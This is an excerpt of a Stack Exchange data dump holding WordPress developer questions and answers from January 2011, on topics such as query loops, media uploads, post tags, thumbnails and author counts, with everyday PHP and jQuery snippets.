  <row Id="8171" PostTypeId="2" ParentId="8165" CreationDate="2011-01-31T04:07:03.240" Score="0" ViewCount="" Body="&lt;p&gt;If &lt;a href=&quot;http://crizaze.com/wp-content/themes/joorang/timthumb.php?src=/wp-content/uploads/2011/01/ami166a-e1295733091216.jpg&amp;amp;h=80&amp;amp;w=80&amp;amp;zc=1&quot; rel=&quot;nofollow&quot;&gt;http://crizaze.com/wp-content/themes/joorang/timthumb.php?src=/wp-content/uploads/2011/01/ami166a-e1295733091216.jpg&amp;amp;h=80&amp;amp;w=80&amp;amp;zc=1&lt;/a&gt; is your absolute path, then it doesn't work because the path is incorrect. that path reads like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://crizaze.com/wp-content/themes/joorang/wp-content/uploads/2011/01/ami166a-e1295733091216.jpg&quot; rel=&quot;nofollow&quot;&gt;http://crizaze.com/wp-content/themes/joorang/wp-content/uploads/2011/01/ami166a-e1295733091216.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when it needs to be&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://crizaze.com/wp-content/uploads/2011/01/ami166a-e1295733091216.jpg&quot; rel=&quot;nofollow&quot;&gt;http://crizaze.com/wp-content/uploads/2011/01/ami166a-e1295733091216.jpg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-01-31T04:07:03.240" />
  <row Id="8172" PostTypeId="2" ParentId="8168" CreationDate="2011-01-31T04:29:25.140" Score="2" ViewCount="" Body="&lt;p&gt;Better to use a query loop to show posts, which is a modifed version of the main WP loop. This query loop won't interfere with the main WP loop and can be used mutiple times in a sidebar or post/page with php execution enabled. Use a php widget in your sidebar: &lt;a href=&quot;http://wordpress.org/extend/plugins/php-code-widget/&quot; rel=&quot;nofollow&quot;&gt;WordPress › PHP Code Widget « WordPress Plugins&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change mycategory to the name of a category, or remove to show all. And change showposts to the number of posts you want, or -1 to show all. You will have to CSS style the output.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $my_query = new WP_Query('category_name=mycategory&amp;amp;showposts=1'); ?&amp;gt;&#xA;&#xA;&amp;lt;?php while ($my_query-&amp;gt;have_posts()) : $my_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; title=&quot;&amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;?php the_excerpt(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;http://codex.wordpress.org/The_Loop&quot; rel=&quot;nofollow&quot;&gt;The Loop « WordPress Codex&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;Function Reference/WP Query « WordPress Codex&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-01-31T04:29:25.140" />
  <row Id="8173" PostTypeId="1" AcceptedAnswerId="8177" CreationDate="2011-01-31T05:09:37.033" Score="2" ViewCount="1509" Body="&lt;p&gt;I want implement upload logo to my theme option page. Currently I follow &lt;a href=&quot;http://themeshaper.com/sample-theme-options/&quot; rel=&quot;nofollow&quot;&gt;this code&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I have done for now load a related jquery for the media upload&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function load_only() {&#xA;    add_thickbox();&#xA;    wp_enqueue_script('jquery-option', get_template_directory_uri() . '/admin/js/jquery.option.js', array('jquery','media-upload','thickbox','jquery-ui-core','jquery-ui-tabs'), '1.0');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Question &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to implement the upload form using existing media upload?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input id=&quot;theme_options_upload&quot; type=&quot;text&quot; name=&quot;theme_options_upload&quot; value=&quot;&amp;lt;?php esc_attr_e( $options['theme_options_upload'] ); ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;button&quot; name=&quot;just_button&quot; value=&quot;&amp;lt;?php esc_attr_e('Upload'); ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to know &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;How to link the button to &lt;code&gt;media-upload.php&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;After we upload image and click &lt;code&gt;Insert into Post&lt;/code&gt; button on media-upload the image will place into field &lt;code&gt;name=&quot;theme_options_upload&quot;&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Let me know. &lt;/p&gt;&#xA;" OwnerUserId="2163" LastActivityDate="2011-01-31T17:37:28.563" Title="How to use media upload on theme option page?" Tags="&lt;themes&gt;&lt;media-library&gt;&lt;theme-options&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="8174" PostTypeId="2" ParentId="8170" CreationDate="2011-01-31T06:29:42.240" Score="2" ViewCount="" Body="&lt;p&gt;Yes you can!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;get_currentuserinfo(); &#xA;$user_data = get_userdata($user_ID);&#xA;$registered_date = $user_data-&amp;gt;user_registered;&#xA;if (strtotime($registered_date) &amp;gt; strtotime('-30 days')){&#xA;   //Text for users registered in the last 30 days&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-01-31T18:44:17.590" LastActivityDate="2011-01-31T18:44:17.590" CommentCount="7" />
  <row Id="8175" PostTypeId="2" ParentId="8167" CreationDate="2011-01-31T06:31:54.637" Score="1" ViewCount="" Body="&lt;p&gt;I've explored both options, using custom fields and a custom taxonomy, in previous versions of my plugin, &lt;a href=&quot;http://scribu.net/wordpress/posts-to-posts&quot; rel=&quot;nofollow&quot;&gt;Posts 2 Posts&lt;/a&gt;. The latest version uses two custom tables.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-01-31T06:31:54.637" CommentCount="2" />
  <row Id="8176" PostTypeId="2" ParentId="1736" CreationDate="2011-01-31T06:32:19.447" Score="0" ViewCount="" Body="&lt;p&gt;I've done something similar with &quot;members&quot;, a custom post type, and a manual assignment of author rights to a specific member, since it's a small group website, but I do remember reading in some buddy press support thread that it is possible to hook into the signup process, so I suppose it would be possible to automatically create a page/custom post type per user on signup and assign that specific page to the newly created member as homepage. I also added Scribu's front-end editor and blocked the backend to the members who aren't admins. You can probably also add a redirect on signup so new members are redirected to their page (which, I suppose, could have some default content).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll see if I can find that buddypress support thread.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Addendum - there is a bug in the author selector on the edit post field. It currently doesn't use the standard permission system, which may make the members solution more difficult (although it will probably work if the author is assigned on page-creation). There is a patch in trac, but I don't think it's been applied to the core yet.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-31T06:32:19.447" />
  <row Id="8177" PostTypeId="2" ParentId="8173" CreationDate="2011-01-31T06:35:47.577" Score="3" ViewCount="" Body="&lt;p&gt;You are most likely  to save the url of the image and not the whole image tag,&#xA;and there is a great tutorial that explains just how to use the media uploader in your own theme or plugin:&#xA;&lt;a href=&quot;http://www.webmaster-source.com/2010/01/08/using-the-wordpress-uploader-in-your-plugin-or-theme/&quot; rel=&quot;nofollow&quot;&gt;http://www.webmaster-source.com/2010/01/08/using-the-wordpress-uploader-in-your-plugin-or-theme/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;update&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;In case of using this in a meta box you will need the post id so change the js code from:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#upload_image_button').click(function() {&#xA; formfield = jQuery('#upload_image').attr('name');&#xA; tb_show('', 'media-upload.php?type=image&amp;amp;amp;TB_iframe=true');&#xA; return false;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#upload_image_button').click(function() {&#xA; formfield = jQuery('#upload_image').attr('name');&#xA; post_id = jQuery('#post_ID').val();&#xA; tb_show('', 'media-upload.php?post_id='+post_id+'&amp;amp;amp;type=image&amp;amp;amp;TB_iframe=true');&#xA; return false;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-01-31T17:37:28.563" LastActivityDate="2011-01-31T17:37:28.563" CommentCount="9" />
  <row Id="8178" PostTypeId="2" ParentId="8164" CreationDate="2011-01-31T06:53:20.013" Score="1" ViewCount="" Body="&lt;p&gt;On the media uploader, Once an image is uploaded , before you click the &quot;insert to post&quot;&#xA;you need to click the &quot;none&quot; button under link url.&#xA;here, they say a picture is worth a 1000 words:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/Y5Ril.jpg&quot; alt=&quot;image with no link url&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-31T06:53:20.013" />
  <row Id="8179" PostTypeId="2" ParentId="8157" CreationDate="2011-01-31T07:14:11.473" Score="0" ViewCount="" Body="&lt;p&gt;It looks like you are trying to call WordPress function directly form JQuery so that won't work.&#xA;what you can do is user your function to hide the div  but on that action add an hidden field for each attachment you want to remove as an array with the id of the attachment&#xA;something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;att_remove[]&quot; value=&quot;attachment_ID&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then add  a function for removing these files at save_post hook&#xA;something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_custom_att_1212(){&#xA;   global $post;&#xA;   if ($post-&amp;gt;post_type ==&quot;your custom post type&quot;){&#xA;      if (isset($_POST['att_remove']){&#xA;         foreach ($_POST['att_remove'] as $att_id){&#xA;           delete_att($att_id);&#xA;         }&#xA;      }&#xA;   }&#xA;}&#xA;add_action('save_post','remove_custom_att_1212');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-31T07:14:11.473" CommentCount="6" />
  <row Id="8180" PostTypeId="2" ParentId="8159" CreationDate="2011-01-31T07:27:40.553" Score="0" ViewCount="" Body="&lt;p&gt;You can use Members List Plugin&#xA;The Plugin allows you to create a post on your wordpress blog that lists all your wordpress members.&#xA;&lt;a href=&quot;http://wordpress.org/extend/plugins/members-list/screenshots/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/members-list/screenshots/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i would create a template page for that&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;ul id=&quot;membersList&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;/*&#xA;    First we set how we'll want to sort the user list.&#xA;&#xA;    You could sort them by:&#xA;    ------------------------&#xA;&#xA;    * ID - User ID number.&#xA;    * user_login - User Login name.&#xA;    * user_nicename - User Nice name ( nice version of login name ).&#xA;    * user_email - User Email Address.&#xA;    * user_url - User Website URL.&#xA;    * user_registered - User Registration date.&#xA;*/&#xA;&#xA;$szSort = &quot;user_nicename&quot;;&#xA;&#xA;/*&#xA;    Now we build the custom query to get the ID of the users.&#xA;*/&#xA;&#xA;$listUsersID = $wpdb-&amp;gt;get_col( $wpdb-&amp;gt;prepare(&#xA;    &quot;SELECT $wpdb-&amp;gt;users.ID FROM $wpdb-&amp;gt;users ORDER BY %s ASC&quot;&#xA;    , $szSort ));&#xA;&#xA;/*&#xA;    Once we have the IDs we loop through them with a Foreach statement.&#xA;*/&#xA;&#xA;foreach ( $listUsersID as $userid ) :&#xA;&#xA;/*&#xA;    We use get_userdata() function with each ID.&#xA;*/&#xA;&#xA;$user = get_userdata( $userid );&#xA;&#xA;/*&#xA;    Here we finally print the details wanted.&#xA;    Check the description of the database tables linked above to see&#xA;    all the fields you can retrieve.&#xA;&#xA;    To echo a property simply call it with $user-&amp;gt;name_of_the_column.&#xA;&#xA;    In this example I print the first and last name.&#xA;*/&#xA;&#xA;    echo '&amp;lt;li&amp;gt;&amp;lt;div class=&quot;member_item&quot;&amp;gt;' . ucwords( strtolower( $user-&amp;gt;first_name . ' ' . $user-&amp;gt;last_name ) ) . '&amp;lt;/div&amp;gt;&amp;lt;/li&amp;gt;';&#xA;&#xA;/*&#xA;     The strtolower and ucwords part is to be sure&#xA;     the full names will all be capitalized.&#xA;*/&#xA;&#xA;endforeach; // end the users loop.&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-31T07:27:40.553" />
  <row Id="8181" PostTypeId="2" ParentId="8152" CreationDate="2011-01-31T07:43:28.427" Score="1" ViewCount="" Body="&lt;p&gt;you can create a function that redirects to the front-end&#xA;like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function redirect_home_987(){&#xA;  wp_redirect( home_url() ); &#xA;  exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and call that function in WordPress default add_menu_page function like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_menu_page( 'redirecting', 'View Site', 'read', 'my-top-level-handle', 'redirect_home_987');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-31T07:43:28.427" CommentCount="1" />
  <row Id="8182" PostTypeId="1" AcceptedAnswerId="8183" CreationDate="2011-01-31T07:49:00.370" Score="0" ViewCount="136" Body="&lt;p&gt;I'm working on using the WP API to insert posts via AJAX.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the proper way of adding tags dynamically to a custom post type? These tags would not be predefined, but rather be created on demand by the user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I'm doing this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            $tags = explode(&quot; &quot;, $_POST['post_tags']);&#xA;&#xA;        $new_entry = array(&#xA;            'post_title' =&amp;gt; $_POST['post_title'],&#xA;            'post_content' =&amp;gt; $_POST['post_content'],&#xA;            'post_status' =&amp;gt; 'publish',&#xA;            'post_author' =&amp;gt; $current_user-&amp;gt;ID,&#xA;            'post_type' =&amp;gt; 'customposttype',&#xA;            'post_tags' =&amp;gt; $tags);&#xA;&#xA;        $created = wp_insert_post( $new_entry );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Yes, this is prototype code and I'm not sanitizing input yet :))&lt;/p&gt;&#xA;" OwnerUserId="2840" LastActivityDate="2011-01-31T11:09:17.717" Title="Creating tags via API" Tags="&lt;custom-post-types&gt;&lt;tags&gt;&lt;api&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="8183" PostTypeId="2" ParentId="8182" CreationDate="2011-01-31T07:59:09.967" Score="3" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@James:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have the post ID of your newly created post &lt;em&gt;(the &lt;code&gt;$created&lt;/code&gt; variable from your question)&lt;/em&gt; you use the &lt;code&gt;wp_set_object_terms()&lt;/code&gt; function, for example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_add_post_tags($created,'My First Tag');&#xA;wp_add_post_tags($created,'My Second Tag');&#xA;wp_add_post_tags($created,'My Third Tag');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-31T11:09:17.717" LastActivityDate="2011-01-31T11:09:17.717" CommentCount="5" />
  <row Id="8184" PostTypeId="2" ParentId="8158" CreationDate="2011-01-31T08:38:59.933" Score="1" ViewCount="" Body="&lt;p&gt;Try to pass &lt;code&gt;0&lt;/code&gt; for &lt;code&gt;parent&lt;/code&gt; argument in &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_terms&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_terms()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;parent&lt;/strong&gt;  &lt;em&gt;(integer)&lt;/em&gt; Get direct children&#xA;  of this term (only terms who's&#xA;  explicit parent is this value). If 0&#xA;  is passed, only top-level terms are&#xA;  returned. Default is an empty string.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-31T08:38:59.933" CommentCount="1" />
  <row Id="8185" PostTypeId="2" ParentId="8168" CreationDate="2011-01-31T08:48:06.740" Score="0" ViewCount="" Body="&lt;p&gt;The reason it doesn't update is that &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/fetch_feed&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;fetch_feed()&lt;/code&gt;&lt;/a&gt; function has its own &lt;a href=&quot;http://codex.wordpress.org/Transients_API&quot; rel=&quot;nofollow&quot;&gt;transient&lt;/a&gt;-based caching that defaults to 12 hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can filter cache lifetime value (globally or for specific feed URL) at &lt;code&gt;wp_feed_cache_transient_lifetime&lt;/code&gt; filter, but for own content it's indeed better to access data directly than go through RSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to code this yourself - try &lt;a href=&quot;http://wordpress.org/extend/plugins/query-posts/&quot; rel=&quot;nofollow&quot;&gt;Query Posts&lt;/a&gt; plugin.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-31T08:48:06.740" />
  <row Id="8186" PostTypeId="2" ParentId="8165" CreationDate="2011-01-31T09:17:25.047" Score="1" ViewCount="" Body="&lt;p&gt;I always do this with Timthumb:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// this is the absolute path&#xA;$url = 'http://crizaze.com/wp-content/themes/joorang/wp-content/uploads/2011/01/ami166a-e1295733091216.jpg';&#xA;&#xA;// convert it into relative path&#xA;$url = str_replace(get_bloginfo('url'), '', $url);&#xA;&#xA;// get the image url, resized by timthumb&#xA;$timthumb_url = get_stylesheet_directory_uri() . &quot;/timthumb.php?src=$url&amp;amp;w=80&amp;amp;h=80&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2011-01-31T09:17:25.047" />
  <row Id="8187" PostTypeId="1" AcceptedAnswerId="8189" CreationDate="2011-01-31T10:32:17.123" Score="2" ViewCount="143" Body="&lt;p&gt;How can I make oEmbed work on the excerpt field so I only have to paste the youtube url in there and then be able to echo 'get_the_excerpt()'?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also want to filter oEmbed and change the wmode but I think I found a solution for that here:&#xA;&lt;a href=&quot;http://code.hyperspatial.com/all-code/wordpress-code/oembed-wmode/&quot; rel=&quot;nofollow&quot;&gt;http://code.hyperspatial.com/all-code/wordpress-code/oembed-wmode/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Crap! I was wrong, it doesn't work at all, nothing happens. Anyone got a better solution?&lt;/p&gt;&#xA;" OwnerUserId="1936" LastEditorUserId="1936" LastEditorDisplayName="" LastEditDate="2011-02-01T09:21:37.443" LastActivityDate="2011-02-01T09:21:37.443" Title="Making oEmbed work on the excerpt field" Tags="&lt;excerpt&gt;&lt;oembed&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="8188" PostTypeId="1" CreationDate="2011-01-31T10:38:34.183" Score="0" ViewCount="33" Body="&lt;p&gt;Please suggest a code snippet to get the total number of authors on a blog who have at least one published article. Thanks&lt;/p&gt;&#xA;" LastActivityDate="2011-01-31T10:49:46.837" Title="Find Total Authors" Tags="&lt;code&gt;" AnswerCount="1" />
  <row Id="8189" PostTypeId="2" ParentId="8187" CreationDate="2011-01-31T10:48:19.817" Score="2" ViewCount="" Body="&lt;p&gt;Not entirely sure it is supposed to be used like this, but by analogue with &lt;code&gt;the_content&lt;/code&gt; try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_excerpt', array($wp_embed, 'autoembed'), 9);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-01-31T10:58:19.243" LastActivityDate="2011-01-31T10:58:19.243" CommentCount="7" />
  <row Id="8190" PostTypeId="2" ParentId="8188" CreationDate="2011-01-31T10:49:46.837" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@rsm:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are probably better ways, using the WordPress API, but since I know SQL so well this immediately came to mind:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function total_published_authors() {&#xA;  global $wpdb;&#xA;  $sql =&amp;lt;&amp;lt;&amp;lt;SQL&#xA;SELECT COUNT(*) AS total_published_authors FROM (&#xA;SELECT DISTINCT&#xA;    {$wpdb-&amp;gt;users}.ID&#xA;FROM {$wpdb-&amp;gt;users} &#xA;    INNER JOIN {$wpdb-&amp;gt;posts} ON {$wpdb-&amp;gt;posts}.post_author={$wpdb-&amp;gt;users}.ID&#xA;WHERE &#xA;    {$wpdb-&amp;gt;posts}.post_status='publish'&#xA;GROUP BY &#xA;    {$wpdb-&amp;gt;users}.ID&#xA;) x&#xA;SQL;&#xA;  return $wpdb-&amp;gt;get_var($sql);&#xA;}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I come up with a better way I'll post it too.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-31T10:49:46.837" CommentCount="4" />
  <row Id="8191" PostTypeId="1" CreationDate="2011-01-31T11:45:49.000" Score="0" ViewCount="546" Body="&lt;p&gt;I added the following to my &lt;strong&gt;functions.php&lt;/strong&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set_post_thumbnail_size( 500, 500);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I enabled &lt;strong&gt;featured image&lt;/strong&gt; (&lt;code&gt;support =&amp;gt; 'thumbnail'&lt;/code&gt;) in a custom post type a created (called Page Content).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I set an image as featured image (the image I'm using has &lt;strong&gt;500px&lt;/strong&gt; of height) , the image is always rendered with 198px of height.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It renders 198px in final page and 117px in the admin panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the code of the final output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img class=&quot;attachment-post-thumbnail wp-post-image&quot; width=&quot;448&quot; height=&quot;198&quot; title=&quot;2974999772_7085da4d34&quot; alt=&quot;2974999772_7085da4d34&quot; src=&quot;http://localhost/wp-alex-chen/wp-content/uploads/2011/01/2974999772_7085da4d344-448x198.jpg&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the code of the featured image in the admin panel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img width=&quot;266&quot; height=&quot;117&quot; title=&quot;2974999772_7085da4d34&quot; alt=&quot;2974999772_7085da4d34&quot; class=&quot;attachment-post-thumbnail&quot; src=&quot;http://localhost/wp-alex-chen/wp-content/uploads/2011/01/2974999772_7085da4d344-448x198.jpg&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit Post panel:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Hbjb1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions to solve this? (the 'normal' Posts have also the same problem (height= 198px)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT2: I aded this to functions.php:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ( function_exists( 'add_image_size' ) ) add_theme_support( 'post-thumbnails' );&#xA;if ( function_exists( 'add_image_size' ) ) {&#xA;    add_image_size( 'thumb-1', 320, 280, true );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is set to have hard-crop but the image is rendered as 250px 280px (it should render as 320px x 280px).&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="781" LastEditorDisplayName="" LastEditDate="2011-01-31T12:19:48.073" LastActivityDate="2011-06-12T04:57:22.507" Title="Featured image always rendered with 198px of height?" Tags="&lt;post-thumbnails&gt;&lt;set-post-thumbnail-size&gt;" AnswerCount="2" CommentCount="7" />
  <row Id="8192" PostTypeId="2" ParentId="8164" CreationDate="2011-01-31T12:39:25.983" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@kel:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for answering the comments and thanks to @בניית אתרים providing the screenshot; now I have a better idea of what you wanted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on what you asked for I think what would be ideal would be for the dialog box to simple generate your preferred URL; that way you don't have to remember to click. You can accomplish what you are after by using the &lt;code&gt;'attachment_fields_to_edit'&lt;/code&gt; hook and modifying the sub-elements of the passed array: &lt;code&gt;$form_fields['url']['html']&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can copy the following code to your theme's &lt;code&gt;functions.php&lt;/code&gt; file, or to a &lt;code&gt;.PHP&lt;/code&gt; file for a plugin you might be writing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('attachment_fields_to_edit','your_attachment_fields_to_edit',10,2);&#xA;function your_attachment_fields_to_edit($form_fields,$post) {&#xA;  $url = get_permalink($post-&amp;gt;ID);&#xA;&#xA;  /* UNCOMMENT THESE LINES IF FOR PARENT POST URL AND NOT ATTACHMENT POST URL&#xA;  $url_parts = explode('/',trim($url,'/'));&#xA;  array_pop($url_parts);&#xA;  $url = implode('/',$url_parts) . '/';&#xA;  */&#xA;  $form_fields['url']['html'] =&amp;lt;&amp;lt;&amp;lt;HTML&#xA;&amp;lt;input type=&quot;text&quot; class=&quot;text urlfield&quot; name=&quot;attachments[{$post-&amp;gt;ID}][url]&quot; &#xA;       value=&quot;{$url}&quot; /&amp;gt;&#xA;HTML;&#xA;  return $form_fields;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's what it looks like with the commented-out code so that the full permalink to the attachment post shows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/Fullscreen-20110131-073755.png&quot; alt=&quot;Screenshot of a Modified WordPress File Upload Dialog with changed URL&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's what it looks like with the commented-out code so that the full permalink to the attachment post shows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://mikeschinkel.com/websnaps/Fullscreen-20110131-073712.png&quot; alt=&quot;Screenshot of a Modified WordPress File Upload Dialog with different URL&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note that one caveat is this only works &lt;em&gt;after&lt;/em&gt; you have saved the parent post&lt;/strong&gt; because the permalink is evidently not finalized until then. I'm sure there's a workaround but I'll leave that as an exercise for the reader &lt;em&gt;(like my professors used to say...)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. I simultaneously love your domain name, &lt;em&gt;and&lt;/em&gt; I feel quite queasy about it at the same time! ;-)&lt;/p&gt;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-02-02T00:13:38.743" LastActivityDate="2011-02-02T00:13:38.743" CommentCount="4" />
